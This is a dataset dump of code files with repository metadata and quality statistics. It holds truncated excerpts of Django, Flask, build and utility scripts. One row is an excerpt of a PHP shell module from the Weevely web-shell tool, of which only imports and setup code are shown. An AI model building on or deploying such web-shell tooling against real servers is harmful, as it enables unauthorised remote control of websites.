hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
556eeab6b93eb017665693f221d860d16d83f358
597
py
Python
eshop/src/eshop/urls.py
varrasivareddy/shoping
93a225b4c4909bf17c705d1dca8286ea2a7c3ecd
[ "Apache-2.0" ]
null
null
null
eshop/src/eshop/urls.py
varrasivareddy/shoping
93a225b4c4909bf17c705d1dca8286ea2a7c3ecd
[ "Apache-2.0" ]
null
null
null
eshop/src/eshop/urls.py
varrasivareddy/shoping
93a225b4c4909bf17c705d1dca8286ea2a7c3ecd
[ "Apache-2.0" ]
null
null
null
from django.conf.urls import patterns, include, url from django.contrib import admin admin.autodiscover() from django.contrib.staticfiles.urls import staticfiles_urlpatterns urlpatterns = patterns('', url(r'^index.html$', 'shop.views.home'), url(r'^shop.html$', 'shop.views.shop'), url(r'^contact-us.html$',...
33.166667
67
0.683417
79
597
5.139241
0.329114
0.068966
0.224138
0
0
0
0
0
0
0
0
0
0.125628
597
18
68
33.166667
0.777778
0
0
0
0
0
0.361204
0.036789
0
0
0
0
0
1
0
false
0
0.214286
0
0.214286
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
557176368b22caec63471fde7b53268d173019df
611
py
Python
netforce_stock/netforce_stock/migrations/multico.py
nfco/netforce
35252eecd0a6633ab9d82162e9e3ff57d4da029a
[ "MIT" ]
27
2015-09-30T23:53:30.000Z
2021-06-07T04:56:25.000Z
netforce_stock/netforce_stock/migrations/multico.py
nfco/netforce
35252eecd0a6633ab9d82162e9e3ff57d4da029a
[ "MIT" ]
191
2015-10-08T11:46:30.000Z
2019-11-14T02:24:36.000Z
netforce_stock/netforce_stock/migrations/multico.py
nfco/netforce
35252eecd0a6633ab9d82162e9e3ff57d4da029a
[ "MIT" ]
32
2015-10-01T03:59:43.000Z
2022-01-13T07:31:05.000Z
from netforce import migration from netforce.model import get_model from netforce.database import get_connection class Migration(migration.Migration): _name="stock.multico" _version="1.155.0" def migrate(self): db=get_connection() db.execute("update stock_location set company_id=1 where co...
35.941176
85
0.746318
91
611
4.824176
0.362637
0.164009
0.136674
0.182232
0.437358
0.437358
0.437358
0.437358
0.437358
0.362187
0
0.017857
0.175123
611
16
86
38.1875
0.853175
0
0
0
0
0
0.432079
0
0
0
0
0
0
1
0.076923
false
0
0.230769
0
0.538462
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
55745a0177a85282958a3ccd08cb0680c4c3b897
1,328
py
Python
create-users.py
cadmiumkitty/vocbench3-integration
d117d29b25051a42cfe6ecc01e0bf4395046ae5f
[ "MIT" ]
1
2021-04-22T18:06:32.000Z
2021-04-22T18:06:32.000Z
create-users.py
cadmiumkitty/vocbench3-integration
d117d29b25051a42cfe6ecc01e0bf4395046ae5f
[ "MIT" ]
null
null
null
create-users.py
cadmiumkitty/vocbench3-integration
d117d29b25051a42cfe6ecc01e0bf4395046ae5f
[ "MIT" ]
null
null
null
import csv import requests import sys api_username = sys.argv[1] api_password = sys.argv[2] host = sys.argv[3] users_file_name = sys.argv[4] session = requests.Session() auth_data = { 'email': api_username, 'password': api_password, '_spring_security_remember_me': 'false'} auth_response = session.post(...
34.051282
160
0.676205
163
1,328
5.294479
0.349693
0.032445
0.066049
0.069525
0.353418
0.295481
0.295481
0.295481
0.295481
0.295481
0
0.006518
0.191265
1,328
38
161
34.947368
0.79702
0
0
0.064516
0
0.096774
0.310241
0.214608
0
0
0
0
0
1
0
false
0.096774
0.096774
0
0.096774
0.129032
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
5577dd955f698354b46525492e8941376a8a026c
4,365
py
Python
knownly/billing/models.py
dwightgunning/knownly
55a3f82887dca1ff94723e3272ef79ed5f2d0eb2
[ "MIT" ]
2
2017-11-21T20:24:01.000Z
2018-12-24T04:32:31.000Z
knownly/billing/models.py
dwightgunning/knownly
55a3f82887dca1ff94723e3272ef79ed5f2d0eb2
[ "MIT" ]
2
2020-06-05T18:05:19.000Z
2021-06-10T20:04:02.000Z
knownly/billing/models.py
dwightgunning/knownly
55a3f82887dca1ff94723e3272ef79ed5f2d0eb2
[ "MIT" ]
null
null
null
# -*- coding: latin-1 -*- from decimal import Decimal from django.conf import settings from django.core.validators import (MaxValueValidator, MinLengthValidator, MinValueValidator) from django.db import models from django.utils import timezone from django_countries.fields import Co...
36.07438
77
0.704238
502
4,365
5.948207
0.278884
0.080375
0.09645
0.1286
0.510382
0.422304
0.390154
0.287341
0.237107
0.237107
0
0.022134
0.192669
4,365
120
78
36.375
0.824915
0.068958
0
0.350515
0
0
0.029086
0
0
0
0
0
0
1
0.010309
false
0
0.061856
0.010309
0.608247
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
55907eea74c3cd5c469a9e2eefb8ad60cde94ad8
1,605
py
Python
35 - Circular primes/primes.py
jamtot/PyProjectEuler
98c2cf5dbfa3d38a2727f2ad204e41f01b624dda
[ "MIT" ]
null
null
null
35 - Circular primes/primes.py
jamtot/PyProjectEuler
98c2cf5dbfa3d38a2727f2ad204e41f01b624dda
[ "MIT" ]
null
null
null
35 - Circular primes/primes.py
jamtot/PyProjectEuler
98c2cf5dbfa3d38a2727f2ad204e41f01b624dda
[ "MIT" ]
null
null
null
import math #sieve of atkin def atkin(ceiling): is_prime = dict([(i, False) for i in range(5, ceiling+1)]) is_prime[1] = False is_prime[2] = True is_prime[3] = True is_prime[4] = False for x in range(1, int(math.sqrt(ceiling))+1): for y in range(1, int(math.sqrt(ceiling))+1): ...
30.283019
67
0.490343
243
1,605
3.127572
0.222222
0.175
0.073684
0.071053
0.255263
0.211842
0.211842
0.186842
0.115789
0.115789
0
0.054187
0.367601
1,605
52
68
30.865385
0.694581
0.010592
0
0.065217
0
0
0.005047
0
0
0
0
0
0
0
null
null
0.043478
0.021739
null
null
0.021739
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
55924464d847f857647d6987cb859ff0be635cdb
5,096
py
Python
utils/swift_build_support/swift_build_support/products/curl.py
xjc90s/swift
cafe5ccbd1b7aa9cc9c837c5be2cdf3d5acd8a49
[ "Apache-2.0" ]
1
2022-02-02T20:21:10.000Z
2022-02-02T20:21:10.000Z
utils/swift_build_support/swift_build_support/products/curl.py
xjc90s/swift
cafe5ccbd1b7aa9cc9c837c5be2cdf3d5acd8a49
[ "Apache-2.0" ]
null
null
null
utils/swift_build_support/swift_build_support/products/curl.py
xjc90s/swift
cafe5ccbd1b7aa9cc9c837c5be2cdf3d5acd8a49
[ "Apache-2.0" ]
null
null
null
# swift_build_support/products/curl.py --------------------------------------- # # This source file is part of the Swift.org open source project # # Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors # Licensed under Apache License v2.0 with Runtime Library Exception # # See https://swift.org/LICENSE.tx...
38.606061
82
0.655024
628
5,096
5.023885
0.256369
0.088431
0.157211
0.216165
0.486212
0.387956
0.264659
0.106498
0.081141
0.051981
0
0.003011
0.218014
5,096
131
83
38.900763
0.788708
0.209772
0
0.175676
0
0
0.17898
0.033299
0
0
0
0
0
1
0.135135
false
0
0.027027
0.027027
0.283784
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
559e74068540aaa078d10efe1ac14014ebdad68c
3,594
py
Python
bcs-ui/backend/templatesets/release/generator/form_mode.py
laodiu/bk-bcs
2a956a42101ff6487ff521fb3ef429805bfa7e26
[ "Apache-2.0" ]
599
2019-06-25T03:20:46.000Z
2022-03-31T12:14:33.000Z
bcs-ui/backend/templatesets/release/generator/form_mode.py
laodiu/bk-bcs
2a956a42101ff6487ff521fb3ef429805bfa7e26
[ "Apache-2.0" ]
537
2019-06-27T06:03:44.000Z
2022-03-31T12:10:01.000Z
bcs-ui/backend/templatesets/release/generator/form_mode.py
laodiu/bk-bcs
2a956a42101ff6487ff521fb3ef429805bfa7e26
[ "Apache-2.0" ]
214
2019-06-25T03:26:05.000Z
2022-03-31T07:52:03.000Z
# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community Edition) available. Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in co...
40.382022
115
0.656093
408
3,594
5.54902
0.401961
0.045053
0.026502
0.022527
0.079505
0.036219
0
0
0
0
0
0.005319
0.267668
3,594
88
116
40.840909
0.854863
0.276294
0
0
0
0
0.070676
0
0
0
0
0.011364
0
1
0.054545
false
0
0.127273
0
0.236364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
55a4cf9aa55d30562dc9ead4e2cfe5bfda37acac
490
py
Python
openbook_lists/migrations/0003_list_follows.py
TamaraAbells/okuna-api
f87d8e80d2f182c01dbce68155ded0078ee707e4
[ "MIT" ]
164
2019-07-29T17:59:06.000Z
2022-03-19T21:36:01.000Z
openbook_lists/migrations/0003_list_follows.py
TamaraAbells/okuna-api
f87d8e80d2f182c01dbce68155ded0078ee707e4
[ "MIT" ]
188
2019-03-16T09:53:25.000Z
2019-07-25T14:57:24.000Z
openbook_lists/migrations/0003_list_follows.py
TamaraAbells/okuna-api
f87d8e80d2f182c01dbce68155ded0078ee707e4
[ "MIT" ]
80
2019-08-03T17:49:08.000Z
2022-02-28T16:56:33.000Z
# Generated by Django 2.1.3 on 2018-12-04 13:36 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('openbook_follows', '0007_remove_follow_list'), ('openbook_lists', '0002_auto_20181023_1331'), ] operations = [ migrations.AddField( ...
24.5
93
0.630612
53
490
5.622642
0.735849
0.100671
0
0
0
0
0
0
0
0
0
0.095109
0.24898
490
19
94
25.789474
0.714674
0.091837
0
0
1
0
0.259594
0.155756
0
0
0
0
0
1
0
false
0
0.076923
0
0.307692
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
55a530e49673c2bd893862378a3afe01eca428b7
284
py
Python
Curso_em_Video_Exercicios/ex017.py
Cohuzer/Exercicios-do-Curso-em-Video
879cbb53c54ba226e12d9972bc28eadcd521fc10
[ "MIT" ]
null
null
null
Curso_em_Video_Exercicios/ex017.py
Cohuzer/Exercicios-do-Curso-em-Video
879cbb53c54ba226e12d9972bc28eadcd521fc10
[ "MIT" ]
null
null
null
Curso_em_Video_Exercicios/ex017.py
Cohuzer/Exercicios-do-Curso-em-Video
879cbb53c54ba226e12d9972bc28eadcd521fc10
[ "MIT" ]
null
null
null
#Programa que lê os catetos e indica a hipotenusa (math) from math import hypot n1 = float(input('Me diga o comprimento do cateto oposto: ')) n2 = float(input('Me diga o comprimento do cateto adjascente: ')) h = hypot(n1, n2) print('A Hipotenusa deste triângulo é {:.2f}°'.format(h))
40.571429
65
0.721831
48
284
4.291667
0.6875
0.106796
0.116505
0.15534
0.349515
0.349515
0.349515
0.349515
0
0
0
0.020833
0.15493
284
6
66
47.333333
0.833333
0.193662
0
0
0
0
0.535088
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0.2
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
55a77ac666e692398f73190f91ddbdbcf0bfce49
847
py
Python
server/settings/prod.py
IvanDubrowin/simple-shop
7eb3b3a82863ee382692498812954a2f4530dafe
[ "MIT" ]
null
null
null
server/settings/prod.py
IvanDubrowin/simple-shop
7eb3b3a82863ee382692498812954a2f4530dafe
[ "MIT" ]
8
2021-03-30T13:03:15.000Z
2022-03-12T00:22:52.000Z
server/settings/prod.py
IvanDubrowin/simple-shop
7eb3b3a82863ee382692498812954a2f4530dafe
[ "MIT" ]
null
null
null
from configurations import values from server.settings.base import Base class Prod(Base): DEBUG = False ALLOWED_HOSTS = values.ListValue() SECRET_KEY = values.SecretValue() DATABASES = values.DatabaseURLValue() CORS_ORIGIN_WHITELIST = values.ListValue() CORS_ALLOW_CREDENTIALS = True ...
20.658537
65
0.682409
83
847
6.710843
0.650602
0.048474
0.057451
0.071813
0
0
0
0
0
0
0
0
0.227863
847
40
66
21.175
0.851682
0
0
0
0
0
0.205431
0.205431
0
0
0
0
0
1
0
false
0.041667
0.083333
0
0.708333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
55acbfb663fa38532d8f4ffd48ac1b1cb53acdb5
1,152
py
Python
tests/report/test_format_software_versions.py
riffard/scikit-validate
c490aead800b15daebd8839ac6365de6eab6014b
[ "Apache-2.0" ]
2
2019-06-12T17:05:47.000Z
2019-09-25T13:13:31.000Z
tests/report/test_format_software_versions.py
riffard/scikit-validate
c490aead800b15daebd8839ac6365de6eab6014b
[ "Apache-2.0" ]
23
2019-05-21T15:30:11.000Z
2021-07-08T19:48:06.000Z
tests/report/test_format_software_versions.py
riffard/scikit-validate
c490aead800b15daebd8839ac6365de6eab6014b
[ "Apache-2.0" ]
2
2019-05-21T15:32:21.000Z
2021-05-17T18:43:36.000Z
import pytest from skvalidate.report import format_software_versions @pytest.mark.parametrize('items,expected', [ ( dict( job_1=dict( software_versions=dict(job_1={'python': '2.7.15', 'root': '6.16.00'}), other={}, ), job_2=dict( ...
28.097561
86
0.493924
136
1,152
4.014706
0.264706
0.234432
0.087912
0.098901
0.501832
0.483516
0.483516
0.432234
0.432234
0.432234
0
0.081925
0.332465
1,152
40
87
28.8
0.628088
0
0
0.513514
0
0
0.150174
0
0
0
0
0
0.054054
1
0.027027
false
0
0.054054
0
0.081081
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
55bebd93dbd2e6801aa58b1803b2acd7b08f39c9
1,763
py
Python
flask_app/controllers/users.py
zmirzaa/deployFlask
2194becde070174d96972fe24667fafb733a568c
[ "MIT" ]
null
null
null
flask_app/controllers/users.py
zmirzaa/deployFlask
2194becde070174d96972fe24667fafb733a568c
[ "MIT" ]
null
null
null
flask_app/controllers/users.py
zmirzaa/deployFlask
2194becde070174d96972fe24667fafb733a568c
[ "MIT" ]
null
null
null
from site import USER_BASE from flask_app import app from flask import render_template, redirect, session, request, flash from flask_app.models.user import User from flask_app.models import recipe from flask_bcrypt import Bcrypt bcrypt = Bcrypt(app) @app.route('/') def index(): return render_template('index...
26.313433
100
0.623936
205
1,763
5.287805
0.282927
0.103321
0.03321
0.03321
0.110701
0.060886
0
0
0
0
0
0
0.228588
1,763
66
101
26.712121
0.797059
0
0
0.169811
0
0
0.173197
0
0
0
0
0
0
1
0.09434
false
0.056604
0.113208
0.018868
0.396226
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
e94e33b03ddcf68f344c86e3897b07f17f90a068
3,707
py
Python
construct_graph_py3/graph_modules_py3/construct_LaCima/construct_io_server_py3.py
glenn-edgar/lacima_ranch_cloud
0827bdd497295c931cf1a06e97880009773e77be
[ "MIT" ]
null
null
null
construct_graph_py3/graph_modules_py3/construct_LaCima/construct_io_server_py3.py
glenn-edgar/lacima_ranch_cloud
0827bdd497295c931cf1a06e97880009773e77be
[ "MIT" ]
null
null
null
construct_graph_py3/graph_modules_py3/construct_LaCima/construct_io_server_py3.py
glenn-edgar/lacima_ranch_cloud
0827bdd497295c931cf1a06e97880009773e77be
[ "MIT" ]
null
null
null
cf.add_header_node("MODBUS_STATISTICS") cf.add_header_node( "HOUR_ACQUISTION",properties= {"measurement":"HOUR_LIST_STORE","length":300 , "routing_key":"HOUR_ACQUISTION"} , json_flag=True ) properties = {} properties["modbus_remote"] = "skip_controller" properties["parameters"] = [] properties...
46.3375
156
0.643647
394
3,707
5.71066
0.241117
0.142222
0.053333
0.099556
0.578667
0.543111
0.507111
0.453778
0.453778
0.375111
0
0.028767
0.212301
3,707
80
157
46.3375
0.741781
0.013218
0
0.3
0
0
0.358781
0.037472
0
0
0
0
0
0
null
null
0
0
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e969ff4fe467bfe7105fef72547f864f73b3e0ba
1,264
py
Python
codes/DL_projects/2_detectron2/hai_xia/preprocess_scripts/seperate_train_val.py
wubinbai/ubuntu
94fa8b45e8a05fed2844376a3f1ce0dc2b3b0530
[ "MIT" ]
null
null
null
codes/DL_projects/2_detectron2/hai_xia/preprocess_scripts/seperate_train_val.py
wubinbai/ubuntu
94fa8b45e8a05fed2844376a3f1ce0dc2b3b0530
[ "MIT" ]
null
null
null
codes/DL_projects/2_detectron2/hai_xia/preprocess_scripts/seperate_train_val.py
wubinbai/ubuntu
94fa8b45e8a05fed2844376a3f1ce0dc2b3b0530
[ "MIT" ]
null
null
null
import numpy as np import glob import numpy import os import shutil TRAIN_VAL_RATIO = 4 image_files = glob.glob('b02/*jpg') np.random.shuffle(image_files) os.makedirs('train/xml',exist_ok=True) os.makedirs('train/jpg',exist_ok=True) os.makedirs('val/xml',exist_ok=True) os.makedirs('val/jpg',exist_ok=True) num_train = ...
33.263158
83
0.655063
207
1,264
3.753623
0.169082
0.15444
0.113256
0.123552
0.71686
0.71686
0.620335
0.620335
0.620335
0.453024
0
0.012774
0.132911
1,264
37
84
34.162162
0.696168
0.088608
0
0.296296
0
0
0.09607
0
0
0
0
0
0
1
0
false
0
0.185185
0
0.185185
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e97836dca16e5adc7bd3548f9b3177544101a185
420
py
Python
desafio025.py
Darlingcris/Desafios-Python
43dd1c9ee336482834007c515e7cf327a7c84d44
[ "MIT" ]
null
null
null
desafio025.py
Darlingcris/Desafios-Python
43dd1c9ee336482834007c515e7cf327a7c84d44
[ "MIT" ]
null
null
null
desafio025.py
Darlingcris/Desafios-Python
43dd1c9ee336482834007c515e7cf327a7c84d44
[ "MIT" ]
null
null
null
#crie um programa que leia o nome de uma pessoa e diga #se ela tem "SILVA" no nome. n=str(input("Digite o seu nome completo: ")).strip() n=n[0:].upper().count("SILVA") print(n) n=str(input("Digite o seu nome completo: ")).strip() n=n.lower() print("Seu nome tem \"Silva\"? {}".format("silva" in n)) n=str(input("Digi...
30
64
0.65
75
420
3.64
0.413333
0.128205
0.098901
0.164835
0.663004
0.663004
0.663004
0.663004
0.663004
0.417582
0
0.002747
0.133333
420
14
64
30
0.747253
0.190476
0
0.375
0
0
0.39823
0
0
0
0
0
0
1
0
false
0
0
0
0
0.375
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e97b3c43bd991c2325d33d7d3a4dffdb2cdfeec4
758
py
Python
setup.py
joelostblom/altair_ally
c0b2d4b4ab6c76f9e8fc11d01382b0bc66371508
[ "BSD-3-Clause" ]
10
2021-02-23T00:42:30.000Z
2022-02-13T05:26:54.000Z
setup.py
joelostblom/altair_ally
c0b2d4b4ab6c76f9e8fc11d01382b0bc66371508
[ "BSD-3-Clause" ]
null
null
null
setup.py
joelostblom/altair_ally
c0b2d4b4ab6c76f9e8fc11d01382b0bc66371508
[ "BSD-3-Clause" ]
null
null
null
from setuptools import setup, find_packages setup( name='altair_ally', url='https://joelostblom.github.io/altair_ally', author='Joel Ostblom', author_email='joel.ostblom@protonmail.com', packages=find_packages(), install_requires=['altair', 'vega_datasets', 'pandas'], python_requires='>=3....
37.9
201
0.721636
96
758
5.572917
0.760417
0.056075
0
0
0
0
0
0
0
0
0
0.009434
0.16095
758
19
202
39.894737
0.831761
0.084433
0
0
0
0.0625
0.507225
0.039017
0
0
0
0
0
1
0
true
0
0.0625
0
0.0625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
e97c7abc02ac79fc80fee6284b8042e6baf916d0
1,012
py
Python
mkAD/remove_nonAD.py
arielthomas1/SHEMAT-Suite-Open
f46bd3f8a9a24faea9fc7e48ea9ea88438e20d78
[ "MIT" ]
null
null
null
mkAD/remove_nonAD.py
arielthomas1/SHEMAT-Suite-Open
f46bd3f8a9a24faea9fc7e48ea9ea88438e20d78
[ "MIT" ]
null
null
null
mkAD/remove_nonAD.py
arielthomas1/SHEMAT-Suite-Open
f46bd3f8a9a24faea9fc7e48ea9ea88438e20d78
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: iso-8859-1 -*- import sys import os import re def contains(theString, theQueryValue): return theString.find(theQueryValue) > -1 targetfile = sys.argv[1] if os.path.exists(os.getcwd() + "/" + targetfile): openFile = open(targetfile) writeFile = open(targetfile+".new","w") ...
26.631579
75
0.571146
117
1,012
4.905983
0.495727
0.04878
0.041812
0
0
0
0
0
0
0
0
0.016901
0.298419
1,012
37
76
27.351351
0.791549
0.04249
0
0.181818
0
0
0.103413
0
0
0
0
0
0
0
null
null
0
0.090909
null
null
0.060606
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e97fed9945e9394496f903a55c4f257861acb499
6,038
py
Python
Dangerous/Weevely/modules/shell/php.py
JeyZeta/Dangerous-
824ea6b571eda98bb855f176361e9b35dfda578e
[ "MIT" ]
null
null
null
Dangerous/Weevely/modules/shell/php.py
JeyZeta/Dangerous-
824ea6b571eda98bb855f176361e9b35dfda578e
[ "MIT" ]
null
null
null
Dangerous/Weevely/modules/shell/php.py
JeyZeta/Dangerous-
824ea6b571eda98bb855f176361e9b35dfda578e
[ "MIT" ]
1
2018-07-04T18:35:16.000Z
2018-07-04T18:35:16.000Z
''' Created on 22/ago/2011 @author: norby ''' from core.module import Module from core.moduleexception import ModuleException, ProbeException, ProbeSucceed, InitException from core.http.cmdrequest import CmdRequest, NoDataException from core.argparse import ArgumentParser, StoredNamespace from core.argparse import SU...
37.271605
155
0.582312
680
6,038
5.019118
0.291176
0.060943
0.038676
0.053912
0.205977
0.129212
0.053912
0.02637
0.02637
0
0
0.008837
0.287844
6,038
161
156
37.503106
0.784884
0.035277
0
0.042105
0
0
0.145097
0
0
0
0
0
0
0
null
null
0.010526
0.073684
null
null
0.073684
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e9869b2009b18e20caa893d3f2fb449e369af3a6
1,078
py
Python
BigRoaster/Roaster.py
Gajillion/CocoaRoasto
127922a54267b27771a70cde3825dc350377e583
[ "MIT" ]
null
null
null
BigRoaster/Roaster.py
Gajillion/CocoaRoasto
127922a54267b27771a70cde3825dc350377e583
[ "MIT" ]
null
null
null
BigRoaster/Roaster.py
Gajillion/CocoaRoasto
127922a54267b27771a70cde3825dc350377e583
[ "MIT" ]
null
null
null
import TempSensor import GasServo import pprint class Roaster: roasterId = '' gasServo = None tempProbes = [] statusQueue = None def __init__(self, roasterId): self.roasterId = roasterId def addTempSensor(self,tempSensorId,name='',driver='',spi='',clk='',cs='',do=''): if...
32.666667
97
0.647495
116
1,078
5.982759
0.387931
0.092219
0.095101
0.108069
0.474063
0.474063
0.474063
0.337176
0.337176
0
0
0.01199
0.226345
1,078
32
98
33.6875
0.820144
0
0
0
0
0
0.011142
0
0
0
0
0
0
1
0.2
false
0
0.12
0.08
0.6
0.04
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
e9876b81a361593191ffe595012e4a03788594b7
544
gyp
Python
binding.gyp
theHamsta/tree-sitter-hack
dd7c1bb8b11d290db4aec173740efdb510f0bba9
[ "MIT" ]
17
2021-08-15T16:53:48.000Z
2022-03-16T21:43:55.000Z
binding.gyp
theHamsta/tree-sitter-hack
dd7c1bb8b11d290db4aec173740efdb510f0bba9
[ "MIT" ]
14
2021-07-29T18:20:34.000Z
2022-03-08T19:41:38.000Z
binding.gyp
theHamsta/tree-sitter-hack
dd7c1bb8b11d290db4aec173740efdb510f0bba9
[ "MIT" ]
3
2021-06-21T19:18:41.000Z
2021-07-23T19:43:44.000Z
